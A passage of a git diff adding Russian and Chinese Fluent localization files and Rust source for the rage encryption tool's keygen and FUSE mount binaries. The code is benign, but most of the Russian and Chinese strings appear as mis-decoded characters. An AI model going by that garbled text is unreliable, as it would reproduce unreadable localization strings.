+ +man-keygen-flag-convert = + RПрочитать файл идентификации из {input} или Ñо Ñтандартного ввода и вывеÑти + ÑоответÑтвующего/их получателÑ/ей, по одному на Ñтроку, без комментариев. + +man-keygen-example-stdout = Сгенерировать новый идентификатор +man-keygen-example-file = ЗапиÑать новый идентификатор в "{$filename}" +man-keygen-example-convert = Преобразовать идентификатор в Ð¿Ð¾Ð»ÑƒÑ‡Ð°Ñ‚ÐµÐ»Ñ + +## rage-mount manpage + +man-mount-about = Монтировать зашифрованную файловую ÑиÑтему {-age} + +man-mount-description = + {-rage-mount} раÑшифровывает зашифрованную файловую ÑиÑтему {-age} в + {mnt-filename} на лету и монтирует ее как директорию в локальной файловой + ÑиÑтеме в {mnt-mountpoint}. + + Файлы, зашифрованные паролем, обнаруживаютÑÑ Ð°Ð²Ñ‚Ð¾Ð¼Ð°Ñ‚Ð¸Ñ‡ÐµÑки, и пароль + запрашиваетÑÑ Ð² интерактивном режиме. Ð’ противном Ñлучае иÑпользуетÑÑ Ð¾Ð´Ð¸Ð½ + или неÑколько {identities}, указанных Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ {-flag-identity}, Ð´Ð»Ñ + раÑшифровки файла. + + Предыдущее Ñодержимое (еÑли оно еÑть) и владелец и режим {mnt-mountpoint} + ÑтановÑÑ‚ÑÑ Ð½ÐµÐ²Ð¸Ð´Ð¸Ð¼Ñ‹Ð¼Ð¸, и пока Ñта Ñ„Ð°Ð¹Ð»Ð¾Ð²Ð°Ñ ÑиÑтема оÑтаетÑÑ Ñмонтированной, + путь {mnt-mountpoint} отноÑитÑÑ Ðº корню файловой ÑиÑтемы на {mnt-filename}. + +man-mount-flag-types = + УÑтановить тип файловой ÑиÑтемы. Ð’ наÑтоÑщее Ð²Ñ€ÐµÐ¼Ñ Ð¿Ð¾Ð´Ð´ÐµÑ€Ð¶Ð¸Ð²Ð°ÑŽÑ‚ÑÑ Ñледующие типы: {$types}. + + Этот параметр обÑзателен. {-rage-mount} не пытаетÑÑ ÑƒÐ³Ð°Ð´Ð°Ñ‚ÑŒ формат файловой ÑиÑтемы. + + Ð’ теории может поддерживатьÑÑ Ð»ÑŽÐ±Ð¾Ð¹ Ñффективно доÑтупный формат файловой ÑиÑтемы. + Ðа данный момент {-rage-mount} поддерживает только доÑтупные Ð´Ð»Ñ Ð¿Ð¾Ð¸Ñка форматы архивов. + +man-mount-example-identity = Монтирование архива, зашифрованного Ð´Ð»Ñ Ð¿Ð¾Ð»ÑƒÑ‡Ð°Ñ‚ÐµÐ»Ñ +man-mount-example-passphrase = Монтирование архива, зашифрованного паролем diff --git a/lib/rage/rage/i18n/zh-CN/rage.ftl b/lib/rage/rage/i18n/zh-CN/rage.ftl new file mode 100644 index 0000000..abd62ad --- /dev/null +++ b/lib/rage/rage/i18n/zh-CN/rage.ftl @@ -0,0 +1,163 @@ +# Copyright 2020 Jack Grigg +# +# Licensed under the Apache License, Version 2.0 or the MIT license +# , at your +# option. This file may not be copied, modified, or distributed +# except according to those terms. + +### Localization for strings in the rage CLI tools + +## Terms (not to be localized) + +-age = age +-age-plugin- = age-plugin- +-rage = rage +-rage-keygen = rage-keygen +-stdin = "-" +-recipient-prefix = age1 +-identity-prefix = AGE-SECRET-KEY-1 +-armor-pem-type = AGE ENCRYPTED FILE + +-rage-mount = rage-mount + +-ssh-rsa = ssh-rsa +-ssh-ed25519 = ssh-ed25519 +-ssh-authorized-keys = authorized_keys +-dot-keys = .keys +-ssh = ssh(1) +-authorized-keys-file-format = AUTHORIZED_KEYS FILE FORMAT +-sshd = sshd(8) +-ssh-agent = ssh-agent(1) + +-example = example +-example-r = age1example1 +-example-i = AGE-PLUGIN-EXAMPLE-1 + +-yubikey = yubikey + +## CLI flags (not to be localized) + +-flag-armor = -a/--armor +-flag-decrypt = -d/--decrypt +-flag-encrypt = -e/--encrypt +-flag-identity = -i/--identity +-flag-output = -o/--output +-flag-recipient = -r/--recipient +-flag-recipients-file = -R/--recipients-file +-flag-passphrase = -p/--passphrase +-flag-plugin-name = -j +-flag-max-work-factor = --max-work-factor +-flag-unstable = --features unstable + +-flag-convert = -y + +-flag-mnt-types = -t/--types + +## Usage + +usage-header = Usage + +recipient = RECIPIENT +recipients-file = PATH +identity = IDENTITY +plugin-name = PLUGIN-NAME +input = INPUT +output = OUTPUT + +rage-after-help-content = + {input} 默认为标准输入 (stdin), 而 {output} 默认为标准输出 (stdout) 。 + + {recipient} å¯ä¸ºï¼š + - 一把以 {$keygen_name} 生æˆçš„ {-age} 公钥 ({$example_age_pubkey})。 + - 一把 SSH 公钥 ({$example_ssh_pubkey})。 + + {recipients-file} æ˜¯ä¸€ä¸ªæ–‡ä»¶è·¯å¾„ã€‚è¯¥æ–‡ä»¶åº”å«æœ‰ {-age} 接收方, æ¯è¡Œä¸€ä¸ª + (å‰ç¼€ä¸º "#" 的注释以åŠç©ºè¡Œå°†è¢«å¿½ç•¥ï¼‰ã€‚ + + {identity} æ˜¯ä¸€ä¸ªæ–‡ä»¶è·¯å¾„ã€‚è¯¥æ–‡ä»¶æˆ–å« {-age} 身份, æ¯è¡Œä¸€ä¸ªï¼ˆå‰ç¼€ä¸º "#" 的注释以åŠç©ºè¡Œå°†è¢«å¿½ç•¥ï¼‰ï¼Œ + 亦或为 SSH 密钥文件。 + Passphrase-encrypted {-age} identity files can be used as identity files. + æ‚¨å¯æä¾›å¤šä»½èº«ä»½, 未使用的身份将被忽略。 + +rage-after-help-example = + Example: + {" "}{$example_a} + {" "}{tty-pubkey}: {$example_a_output} + {" "}{$example_b} + {" "}{$example_c} + +## Keygen messages + +tty-pubkey = 公钥 +identity-file-created = 已创建 +identity-file-pubkey = 公钥 + +## Encryption messages + +autogenerated-passphrase = ç›®å‰ä½¿ç”¨è‡ªåŠ¨ç”Ÿæˆçš„密ç çŸ­è¯­ï¼š +type-passphrase = 输入密ç çŸ­è¯­ +prompt-passphrase = 密ç çŸ­è¯­ + +## General errors + +err-failed-to-open-output = 未能打开出输: {$err} +err-failed-to-write-output = 未能写入出输: {$err} +err-enc-mixed-encrypt-decrypt = {-flag-encrypt} å’Œ {-flag-decrypt} 标记ä¸å¯è”用。 +err-passphrase-timed-out = 等待输入密ç çŸ­è¯­æ—¶è¶…时了。 + +err-ux-A = {-rage} 的行为与您的预期ä¸ç¬¦å—? 或是æŸä¸ªé”™è¯¯æ¶ˆæ¯å¯åŒ…嫿›´å¤šä¿¡æ¯? +err-ux-B = 请与我们分享 +# Put spaces here to align the two lines in error output. +err-ux-C = {" "} + +## Encryption errors + +err-enc-broken-stdout = 未能写入 stdout: {$err} +rec-enc-broken-stdout = 您是å¦è¾“出至éžä»Ž stdin è¯»å–æ•°æ®çš„程åºï¼Ÿ + +err-enc-broken-file = 未能写入文件: {$err} + +rec-enc-missing-recipients = 您是å¦å¿˜è®°æŒ‡å®š {-flag-recipient} 标记? + +err-enc-mixed-identity-passphrase = {-flag-identity} å’Œ {-flag-passphrase} 标记ä¸å¯è”用。 +err-enc-mixed-recipient-passphrase = {-flag-recipient} å’Œ {-flag-passphrase} 标记ä¸å¯è”用。 +err-enc-mixed-recipients-file-passphrase = {-flag-recipients-file} å’Œ {-flag-passphrase} 标记ä¸å¯è”用。 +err-enc-passphrase-without-file = 在使用 {-flag-passphrase} 时, å¿…å°†è¦åŠ å¯†çš„æ–‡ä»¶ä¼ é€’ä¸ºå‚æ•°ã€‚ + +## Decryption errors + +rec-dec-excessive-work = 请é‡è¯•采用 {-flag-max-work-factor} {$wf} 以解密 + +err-dec-armor-flag = {-flag-armor} å’Œ {-flag-decrypt} 标记ä¸å¯è”用。 +rec-dec-armor-flag = 请注æ„,装甲文件 (armored files) 会被自动检测。 + +err-dec-missing-identities = 缺少身份。 +rec-dec-missing-identities = 您是å¦å¿˜è®°æŒ‡å®š {-flag-identity} 标记? + +err-dec-passphrase-flag = {-flag-passphrase} å’Œ {-flag-decrypt} 标记ä¸å¯è”用。 +rec-dec-passphrase-flag = 请注æ„,以密ç çŸ­è¯­åŠ å¯†çš„æ–‡ä»¶ä¼šè¢«è‡ªåŠ¨æ£€æµ‹ã€‚ + +err-dec-passphrase-without-file-win = + 该文件需è¦å¯†ç çŸ­è¯­ï¼› 在 Windows 中, 使用密ç çŸ­è¯­è§£å¯†æ—¶ + 必将解密的文件传递为ä½ç½®å‚数。 + +err-dec-recipient-flag = {-flag-recipient} å’Œ {-flag-decrypt} ä¸å¯è”用。 +err-dec-recipients-file-flag = {-flag-recipients-file} å’Œ {-flag-decrypt} ä¸å¯è”用。 +rec-dec-recipient-flag = æ‚¨æ˜¯ä¸æ˜¯è¦ç”¨ {-flag-identity} æ ‡è®°æ¥æŒ‡å®šç§é’¥ï¼Ÿ + +## rage-mount strings + +-flag-mnt-types = -t/--types + +info-decrypting = 正在解密 {$filename} +info-mounting-as-fuse = 正挂载为 FUSE 文件系统 + +err-mnt-missing-filename = 缺少文件å。 +err-mnt-missing-mountpoint = 缺少挂载点。 +err-mnt-missing-types = 缺少 {-flag-mnt-types} 。 +err-mnt-unknown-type = 未知的文件系统类型 "{$fs_type}" + +## Unstable features + +test-unstable = 构建 {-rage} 时采用 {-flag-unstable} 以测试。 diff --git a/lib/rage/rage/i18n/zh-TW/rage.ftl b/lib/rage/rage/i18n/zh-TW/rage.ftl new file mode 100644 index 0000000..df21098 --- /dev/null +++ b/lib/rage/rage/i18n/zh-TW/rage.ftl @@ -0,0 +1,163 @@ +# Copyright 2020 Jack Grigg +# +# Licensed under the Apache License, Version 2.0 or the MIT license +# , at your +# option. This file may not be copied, modified, or distributed +# except according to those terms. + +### Localization for strings in the rage CLI tools + +## Terms (not to be localized) + +-age = age +-age-plugin- = age-plugin- +-rage = rage +-rage-keygen = rage-keygen +-stdin = "-" +-recipient-prefix = age1 +-identity-prefix = AGE-SECRET-KEY-1 +-armor-pem-type = AGE ENCRYPTED FILE + +-rage-mount = rage-mount + +-ssh-rsa = ssh-rsa +-ssh-ed25519 = ssh-ed25519 +-ssh-authorized-keys = authorized_keys +-dot-keys = .keys +-ssh = ssh(1) +-authorized-keys-file-format = AUTHORIZED_KEYS FILE FORMAT +-sshd = sshd(8) +-ssh-agent = ssh-agent(1) + +-example = example +-example-r = age1example1 +-example-i = AGE-PLUGIN-EXAMPLE-1 + +-yubikey = yubikey + +## CLI flags (not to be localized) + +-flag-armor = -a/--armor +-flag-decrypt = -d/--decrypt +-flag-encrypt = -e/--encrypt +-flag-identity = -i/--identity +-flag-output = -o/--output +-flag-recipient = -r/--recipient +-flag-recipients-file = -R/--recipients-file +-flag-passphrase = -p/--passphrase +-flag-plugin-name = -j +-flag-max-work-factor = --max-work-factor +-flag-unstable = --features unstable + +-flag-convert = -y + +-flag-mnt-types = -t/--types + +## Usage + +usage-header = Usage + +recipient = RECIPIENT +recipients-file = PATH +identity = IDENTITY +plugin-name = PLUGIN-NAME +input = INPUT +output = OUTPUT + +rage-after-help-content = + {input} 默èªç‚ºæ¨™æº–輸入 (stdin), 而 {output} 默èªç‚ºæ¨™æº–輸出 (stdout) 。 + + {recipient} å¯ç‚ºï¼š + - 一把以 {$keygen_name} 生æˆçš„ {-age} 公鑰 ({$example_age_pubkey})。 + - 一把 SSH 公鑰 ({$example_ssh_pubkey})。 + + {recipients-file} æ˜¯ä¸€å€‹æ–‡ä»¶è·¯å¾‘ã€‚è©²æ–‡ä»¶æ‡‰å«æœ‰ {-age} 接收方, æ¯è¡Œä¸€å€‹ + (å‰ç¶´ç‚º "#" 的注釋以åŠç©ºè¡Œå°‡è¢«å¿½ç•¥ï¼‰ã€‚ + + {identity} æ˜¯ä¸€å€‹æ–‡ä»¶è·¯å¾‘ã€‚è©²æ–‡ä»¶æˆ–å« {-age} 身份, æ¯è¡Œä¸€å€‹ï¼ˆå‰ç¶´ç‚º "#" 的注釋以åŠç©ºè¡Œå°‡è¢«å¿½ç•¥ï¼‰ï¼Œ + 亦或為 SSH 密鑰文件。 + Passphrase-encrypted {-age} identity files can be used as identity files. + æ‚¨å¯æä¾›å¤šä»½èº«ä»½, 未使用的身份將被忽略。 + +rage-after-help-example = + Example: + {" "}{$example_a} + {" "}{tty-pubkey}: {$example_a_output} + {" "}{$example_b} + {" "}{$example_c} + +## Keygen messages + +tty-pubkey = 公鑰 +identity-file-created = 已創建 +identity-file-pubkey = 公鑰 + +## Encryption messages + +autogenerated-passphrase = ç›®å‰ä½¿ç”¨è‡ªå‹•生æˆçš„密碼短語: +type-passphrase = 輸入密碼短語 +prompt-passphrase = 密碼短語 + +## General errors + +err-failed-to-open-output = 未能打開出輸: {$err} +err-failed-to-write-output = 未能寫入出輸: {$err} +err-enc-mixed-encrypt-decrypt = {-flag-encrypt} å’Œ {-flag-decrypt} 標記ä¸å¯è¯ç”¨ã€‚ +err-passphrase-timed-out = 等待輸入密碼短語時超時了。 + +err-ux-A = {-rage} çš„è¡Œç‚ºèˆ‡æ‚¨çš„é æœŸä¸ç¬¦å—Ž? 或是æŸå€‹éŒ¯èª¤æ¶ˆæ¯å¯åŒ…嫿›´å¤šä¿¡æ¯? +err-ux-B = 請與我們分享 +# Put spaces here to align the two lines in error output. +err-ux-C = {" "} + +## Encryption errors + +err-enc-broken-stdout = 未能寫入 stdout: {$err} +rec-enc-broken-stdout = 您是å¦è¼¸å‡ºè‡³éžå¾ž stdin è®€å–æ•¸æ“šçš„程åºï¼Ÿ + +err-enc-broken-file = 未能寫入文件: {$err} + +rec-enc-missing-recipients = 您是å¦å¿˜è¨˜æŒ‡å®š {-flag-recipient} 標記? + +err-enc-mixed-identity-passphrase = {-flag-identity} å’Œ {-flag-passphrase} 標記ä¸å¯è¯ç”¨ã€‚ +err-enc-mixed-recipient-passphrase = {-flag-recipient} å’Œ {-flag-passphrase} 標記ä¸å¯è¯ç”¨ã€‚ +err-enc-mixed-recipients-file-passphrase = {-flag-recipients-file} å’Œ {-flag-passphrase} 標記ä¸å¯è¯ç”¨ã€‚ +err-enc-passphrase-without-file = 在使用 {-flag-passphrase} 時, å¿…å°‡è¦åŠ å¯†çš„æ–‡ä»¶å‚³éžç‚ºåƒæ•¸ã€‚ + +## Decryption errors + +rec-dec-excessive-work = è«‹é‡è©¦æŽ¡ç”¨ {-flag-max-work-factor} {$wf} 以解密 + +err-dec-armor-flag = {-flag-armor} å’Œ {-flag-decrypt} 標記ä¸å¯è¯ç”¨ã€‚ +rec-dec-armor-flag = 請注æ„,è£ç”²æ–‡ä»¶ (armored files) 會被自動檢測。 + +err-dec-missing-identities = 缺少身份。 +rec-dec-missing-identities = 您是å¦å¿˜è¨˜æŒ‡å®š {-flag-identity} 標記? + +err-dec-passphrase-flag = {-flag-passphrase} å’Œ {-flag-decrypt} 標記ä¸å¯è¯ç”¨ã€‚ +rec-dec-passphrase-flag = 請注æ„,以密碼短語加密的文件會被自動檢測。 + +err-dec-passphrase-without-file-win = + 該文件需è¦å¯†ç¢¼çŸ­èªžï¼› 在 Windows 中, 使用密碼短語解密時 + 必將解密的文件傳éžç‚ºä½ç½®åƒæ•¸ã€‚ + +err-dec-recipient-flag = {-flag-recipient} å’Œ {-flag-decrypt} ä¸å¯è¯ç”¨ã€‚ +err-dec-recipients-file-flag = {-flag-recipients-file} å’Œ {-flag-decrypt} ä¸å¯è¯ç”¨ã€‚ +rec-dec-recipient-flag = æ‚¨æ˜¯ä¸æ˜¯è¦ç”¨ {-flag-identity} 標記來指定ç§é‘°ï¼Ÿ + +## rage-mount strings + +-flag-mnt-types = -t/--types + +info-decrypting = 正在解密 {$filename} +info-mounting-as-fuse = 正掛載為 FUSE 文件系統 + +err-mnt-missing-filename = 缺少文件å。 +err-mnt-missing-mountpoint = 缺少掛載點。 +err-mnt-missing-types = 缺少 {-flag-mnt-types} 。 +err-mnt-unknown-type = 未知的文件系統類型 "{$fs_type}" + +## Unstable features + +test-unstable = 構建 {-rage} 時採用 {-flag-unstable} 以測試。 diff --git a/lib/rage/rage/src/bin/rage-keygen/cli.rs b/lib/rage/rage/src/bin/rage-keygen/cli.rs new file mode 100644 index 0000000..f54eb31 --- /dev/null +++ b/lib/rage/rage/src/bin/rage-keygen/cli.rs @@ -0,0 +1,48 @@ +use clap::{ + builder::{Styles, ValueHint}, + ArgAction, Parser, +}; + +use crate::fl; + +#[derive(Debug, Parser)] +#[command(display_name = "rage-keygen")] +#[command(name = "rage-keygen")] +#[command(author, version)] +#[command(help_template = format!("\ +{{before-help}}{{about-with-newline}} +{}{}:{} {{usage}} + +{{all-args}}{{after-help}}\ + ", + Styles::default().get_usage().render(), + fl!("usage-header"), + Styles::default().get_usage().render_reset()))] +#[command(next_help_heading = fl!("flags-header"))] +#[command(disable_help_flag(true))] +#[command(disable_version_flag(true))] +pub(crate) struct AgeOptions { + #[arg(help_heading = fl!("args-header"))] + #[arg(value_name = fl!("input"))] + #[arg(help = fl!("help-arg-input"))] + #[arg(value_hint = ValueHint::FilePath)] + pub(crate) input: Option, + + #[arg(action = ArgAction::Help, short, long)] + #[arg(help = fl!("help-flag-help"))] + pub(crate) help: Option, + + #[arg(action = ArgAction::Version, short = 'V', long)] + #[arg(help = fl!("help-flag-version"))] + pub(crate) version: Option, + + #[arg(short, long)] + #[arg(value_name = fl!("output"))] + #[arg(help = fl!("keygen-help-flag-output"))] + #[arg(value_hint = ValueHint::DirPath)] + pub(crate) output: Option, + + #[arg(short = 'y')] + #[arg(help = fl!("keygen-help-flag-convert"))] + pub(crate) convert: bool, +} diff --git a/lib/rage/rage/src/bin/rage-keygen/error.rs b/lib/rage/rage/src/bin/rage-keygen/error.rs new file mode 100644 index 0000000..75ee3e8 --- /dev/null +++ b/lib/rage/rage/src/bin/rage-keygen/error.rs @@ -0,0 +1,52 @@ +use std::fmt; +use std::io; + +use age::IdentityFileConvertError; + +macro_rules! wlnfl { + ($f:ident, $message_id:literal) => { + writeln!($f, "{}", $crate::fl!($message_id)) + }; + + ($f:ident, $message_id:literal, $($args:expr),* $(,)?) => { + writeln!($f, "{}", $crate::fl!($message_id, $($args), *)) + }; +} + +pub(crate) enum Error { + FailedToOpenInput(io::Error), + FailedToOpenOutput(io::Error), + FailedToReadInput(io::Error), + FailedToWriteOutput(io::Error), + IdentityFileConvert(IdentityFileConvertError), +} + +// Rust only supports `fn main() -> Result<(), E: Debug>`, so we implement `Debug` +// manually to provide the error output we want. +impl fmt::Debug for Error { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + match self { + Error::FailedToOpenInput(e) => { + wlnfl!(f, "err-failed-to-open-input", err = e.to_string())? + } + Error::FailedToOpenOutput(e) => { + wlnfl!(f, "err-failed-to-open-output", err = e.to_string())? + } + Error::FailedToReadInput(e) => { + wlnfl!(f, "err-failed-to-read-input", err = e.to_string())? + } + Error::FailedToWriteOutput(e) => { + wlnfl!(f, "err-failed-to-write-output", err = e.to_string())? + } + Error::IdentityFileConvert(e) => writeln!(f, "{e}")?, + } + writeln!(f)?; + writeln!(f, "[ {} ]", crate::fl!("err-ux-A"))?; + write!( + f, + "[ {}: https://str4d.xyz/rage/report {} ]", + crate::fl!("err-ux-B"), + crate::fl!("err-ux-C") + ) + } +} diff --git a/lib/rage/rage/src/bin/rage-keygen/main.rs b/lib/rage/rage/src/bin/rage-keygen/main.rs new file mode 100644 index 0000000..a9ea54e --- /dev/null +++ b/lib/rage/rage/src/bin/rage-keygen/main.rs @@ -0,0 +1,86 @@ +#![forbid(unsafe_code)] + +use age::{cli_common::file_io, secrecy::ExposeSecret}; +use clap::Parser; +use i18n_embed::DesktopLanguageRequester; + +use std::io::{self, Write}; + +mod cli; +mod error; + +mod i18n { + include!("../rage/i18n.rs"); +} + +#[macro_export] +macro_rules! fl { + ($message_id:literal) => {{ + i18n_embed_fl::fl!($crate::i18n::LANGUAGE_LOADER, $message_id) + }}; + + ($message_id:literal, $($args:expr),* $(,)?) => {{ + i18n_embed_fl::fl!($crate::i18n::LANGUAGE_LOADER, $message_id, $($args), *) + }}; +} + +fn main() -> Result<(), error::Error> { + env_logger::builder() + .format_timestamp(None) + .filter_level(log::LevelFilter::Off) + .parse_default_env() + .init(); + + let requested_languages = DesktopLanguageRequester::requested_languages(); + i18n::load_languages(&requested_languages); + age::localizer().select(&requested_languages).unwrap(); + + let opts = cli::AgeOptions::parse(); + + let output = file_io::OutputWriter::new( + opts.output, + false, + file_io::OutputFormat::Text, + 0o600, + false, + ) + .map_err(error::Error::FailedToOpenOutput)?; + + if opts.convert { + convert(opts.input, output) + } else { + generate(output).map_err(error::Error::FailedToWriteOutput) + } +} + +fn generate(mut output: file_io::OutputWriter) -> io::Result<()> { + let sk = age::x25519::Identity::generate(); + let pk = sk.to_public(); + + writeln!( + output, + "# {}: {}", + fl!("identity-file-created"), + chrono::Local::now().to_rfc3339_opts(chrono::SecondsFormat::Secs, true) + )?; + writeln!(output, "# {}: {}", fl!("identity-file-pubkey"), pk)?; + writeln!(output, "{}", sk.to_string().expose_secret())?; + + if !output.is_terminal() { + eprintln!("{}: {}", fl!("tty-pubkey"), pk); + } + + Ok(()) +} + +fn convert(filename: Option, output: file_io::OutputWriter) -> Result<(), error::Error> { + let file = age::IdentityFile::from_input_reader( + file_io::InputReader::new(filename).map_err(error::Error::FailedToOpenInput)?, + ) + .map_err(error::Error::FailedToReadInput)?; + + file.write_recipients_file(output) + .map_err(error::Error::IdentityFileConvert)?; + + Ok(()) +} diff --git a/lib/rage/rage/src/bin/rage-mount/cli.rs b/lib/rage/rage/src/bin/rage-mount/cli.rs new file mode 100644 index 0000000..66e4099 --- /dev/null +++ b/lib/rage/rage/src/bin/rage-mount/cli.rs @@ -0,0 +1,61 @@ +use clap::{ + builder::{Styles, ValueHint}, + ArgAction, Parser, +}; + +use crate::fl; + +pub(crate) const TYPES: &str = "\"tar\", \"zip\""; + +#[derive(Debug, Parser)] +#[command(display_name = "rage-mount")] +#[command(name = "rage-mount")] +#[command(author, version)] +#[command(help_template = format!("\ +{{before-help}}{{about-with-newline}} +{}{}:{} {{usage}} + +{{all-args}}{{after-help}}\ + ", + Styles::default().get_usage().render(), + fl!("usage-header"), + Styles::default().get_usage().render_reset()))] +#[command(next_help_heading = fl!("flags-header"))] +#[command(disable_help_flag(true))] +#[command(disable_version_flag(true))] +pub(crate) struct AgeMountOptions { + #[arg(help_heading = fl!("args-header"))] + #[arg(value_name = fl!("mnt-filename"))] + #[arg(help = fl!("help-arg-mnt-filename"))] + #[arg(value_hint = ValueHint::FilePath)] + pub(crate) filename: String, + + #[arg(help_heading = fl!("args-header"))] + #[arg(value_name = fl!("mnt-mountpoint"))] + #[arg(help = fl!("help-arg-mnt-mountpoint"))] + #[arg(value_hint = ValueHint::DirPath)] + pub(crate) mountpoint: String, + + #[arg(action = ArgAction::Help, short, long)] + #[arg(help = fl!("help-flag-help"))] + pub(crate) help: Option, + + #[arg(action = ArgAction::Version, short = 'V', long)] + #[arg(help = fl!("help-flag-version"))] + pub(crate) version: Option, + + #[arg(short, long)] + #[arg(value_name = fl!("mnt-types"))] + #[arg(help = fl!("help-arg-mnt-types", types = TYPES))] + pub(crate) types: String, + + #[arg(long, value_name = "WF")] + #[arg(help = fl!("help-flag-max-work-factor"))] + pub(crate) max_work_factor: Option, + + #[arg(short, long)] + #[arg(value_name = fl!("identity"))] + #[arg(help = fl!("help-flag-identity"))] + #[arg(value_hint = ValueHint::FilePath)] + pub(crate) identity: Vec, +} diff --git a/lib/rage/rage/src/bin/rage-mount/main.rs b/lib/rage/rage/src/bin/rage-mount/main.rs new file mode 100644 index 0000000..4f58113 --- /dev/null +++ b/lib/rage/rage/src/bin/rage-mount/main.rs @@ -0,0 +1,242 @@ +#![forbid(unsafe_code)] + +use age::{ + armor::ArmoredReader, + cli_common::{read_identities, read_secret, StdinGuard}, + scrypt, + stream::StreamReader, +}; +use clap::{CommandFactory, Parser}; +use fuse_mt::FilesystemMT; +use fuser::MountOption; +use i18n_embed::DesktopLanguageRequester; +use log::info; + +use std::fmt; +use std::fs::File; +use std::io; +use std::sync::mpsc; + +mod cli; +mod tar; +mod zip; + +mod i18n { + include!("../rage/i18n.rs"); +} + +#[macro_export] +macro_rules! fl { + ($message_id:literal) => {{ + i18n_embed_fl::fl!($crate::i18n::LANGUAGE_LOADER, $message_id) + }}; + + ($message_id:literal, $($args:expr),* $(,)?) => {{ + i18n_embed_fl::fl!($crate::i18n::LANGUAGE_LOADER, $message_id, $($args), *) + }}; +} + +macro_rules! wfl { + ($f:ident, $message_id:literal) => { + write!($f, "{}", fl!($message_id)) + }; + + ($f:ident, $message_id:literal, $($args:expr),* $(,)?) => { + write!($f, "{}", fl!($message_id, $($args), *)) + }; +} + +macro_rules! wlnfl { + ($f:ident, $message_id:literal) => { + writeln!($f, "{}", fl!($message_id)) + }; + + ($f:ident, $message_id:literal, $($args:expr),* $(,)?) => { + writeln!($f, "{}", fl!($message_id, $($args), *)) + }; +} + +enum Error { + Age(age::DecryptError), + IdentityRead(age::cli_common::ReadError), + Io(io::Error), + MissingFilename, + MissingIdentities, + MissingMountpoint, + MissingType, + UnknownType(String), +} + +impl From for Error { + fn from(e: age::DecryptError) -> Self { + Error::Age(e) + } +} + +impl From for Error { + fn from(e: age::cli_common::ReadError) -> Self { + Error::IdentityRead(e) + } +} + +impl From for Error { + fn from(e: io::Error) -> Self { + Error::Io(e) + } +} + +// Rust only supports `fn main() -> Result<(), E: Debug>`, so we implement `Debug` +// manually to provide the error output we want. +impl fmt::Debug for Error { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + match self { + Error::Age(e) => match e { + age::DecryptError::ExcessiveWork { required, .. } => { + writeln!(f, "{}", e)?; + wfl!(f, "rec-dec-excessive-work", wf = required) + } + _ => write!(f, "{}", e), + }, + Error::IdentityRead(e) => write!(f, "{}", e), + Error::Io(e) => write!(f, "{}", e), + Error::MissingFilename => wfl!(f, "err-mnt-missing-filename"), + Error::MissingIdentities => { + wlnfl!(f, "err-dec-missing-identities")?; + wlnfl!(f, "rec-dec-missing-identities") + } + Error::MissingMountpoint => wfl!(f, "err-mnt-missing-mountpoint"), + Error::MissingType => wfl!(f, "err-mnt-missing-types"), + Error::UnknownType(t) => wfl!(f, "err-mnt-unknown-type", fs_type = t.as_str()), + }?; + writeln!(f)?; + writeln!(f, "[ {} ]", fl!("err-ux-A"))?; + write!( + f, + "[ {}: https://str4d.xyz/rage/report {} ]", + fl!("err-ux-B"), + fl!("err-ux-C") + ) + } +} + +fn mount_fs( + open: F, + mountpoint: String, + finished: mpsc::Receiver<()>, +) -> Result<(), Error> +where + F: FnOnce() -> io::Result, +{ + let fs = open().map(|fs| fuse_mt::FuseMT::new(fs, 1))?; + info!("{}", fl!("info-mounting-as-fuse")); + + // Mount the filesystem. + let handle = fuser::spawn_mount2(fs, mountpoint, &[MountOption::RO])?; + + // Wait until we are done. + finished.recv().expect("Could not receive from channel."); + + // Ensure the filesystem is unmounted. + handle.join(); + + Ok(()) +} + +fn mount_stream( + stream: StreamReader>>, + types: String, + mountpoint: String, +) -> Result<(), Error> { + // We want to block until either Ctrl-C, or the filesystem is unmounted externally. + // Set up a channel for notifying the main thread that we should exit. + let (tx, finished) = mpsc::sync_channel(2); + let destroy_tx = tx.clone(); + ctrlc::set_handler(move || tx.send(()).expect("Could not send signal on channel.")) + .expect("Error setting Ctrl-C handler"); + + match types.as_str() { + "tar" => mount_fs( + || crate::tar::AgeTarFs::open(stream, destroy_tx), + mountpoint, + finished, + ), + "zip" => mount_fs( + || crate::zip::AgeZipFs::open(stream, destroy_tx), + mountpoint, + finished, + ), + _ => Err(Error::UnknownType(types)), + } +} + +fn main() -> Result<(), Error> { + use std::env::args; + + env_logger::builder() + .format_timestamp(None) + .filter_level(log::LevelFilter::Off) + .parse_default_env() + .init(); + + let requested_languages = DesktopLanguageRequester::requested_languages(); + i18n::load_languages(&requested_languages); + age::localizer().select(&requested_languages).unwrap(); + + if console::user_attended() && args().len() == 1 { + cli::AgeMountOptions::command().print_help()?; + return Ok(()); + } + + let opts = cli::AgeMountOptions::parse(); + + if opts.filename.is_empty() { + return Err(Error::MissingFilename); + } + if opts.mountpoint.is_empty() { + return Err(Error::MissingMountpoint); + } + if opts.types.is_empty() { + return Err(Error::MissingType); + } + + info!( + "{}", + fl!("info-decrypting", filename = opts.filename.as_str()), + ); + let file = File::open(opts.filename)?; + + let types = opts.types; + let mountpoint = opts.mountpoint; + + let mut stdin_guard = StdinGuard::new(false); + + let decryptor = age::Decryptor::new_buffered(ArmoredReader::new(file))?; + + if decryptor.is_scrypt() { + match read_secret(&fl!("type-passphrase"), &fl!("prompt-passphrase"), None) { + Ok(passphrase) => { + let mut identity = scrypt::Identity::new(passphrase); + if let Some(max_work_factor) = opts.max_work_factor { + identity.set_max_work_factor(max_work_factor); + } + + decryptor + .decrypt(Some(&identity as _).into_iter()) + .map_err(|e| e.into()) + .and_then(|stream| mount_stream(stream, types, mountpoint)) + } + Err(_) => Ok(()), + } + } else { + let identities = read_identities(opts.identity, opts.max_work_factor, &mut stdin_guard)?; + + if identities.is_empty() { + return Err(Error::MissingIdentities); + } + + decryptor + .decrypt(identities.iter().map(|i| &**i)) + .map_err(|e| e.into()) + .and_then(|stream| mount_stream(stream, types, mountpoint)) + } +} diff --git a/lib/rage/rage/src/bin/rage-mount/tar.rs b/lib/rage/rage/src/bin/rage-mount/tar.rs new file mode 100644 index 0000000..9f4e071 --- /dev/null +++ b/lib/rage/rage/src/bin/rage-mount/tar.rs @@ -0,0 +1,297 @@ +use age::{armor::ArmoredReader, stream::StreamReader}; +use fuse_mt::*; +use std::collections::HashMap; +use std::fs::File; +use std::io::{self, BufReader, Read, Seek, SeekFrom}; +use std::path::{Path, PathBuf}; 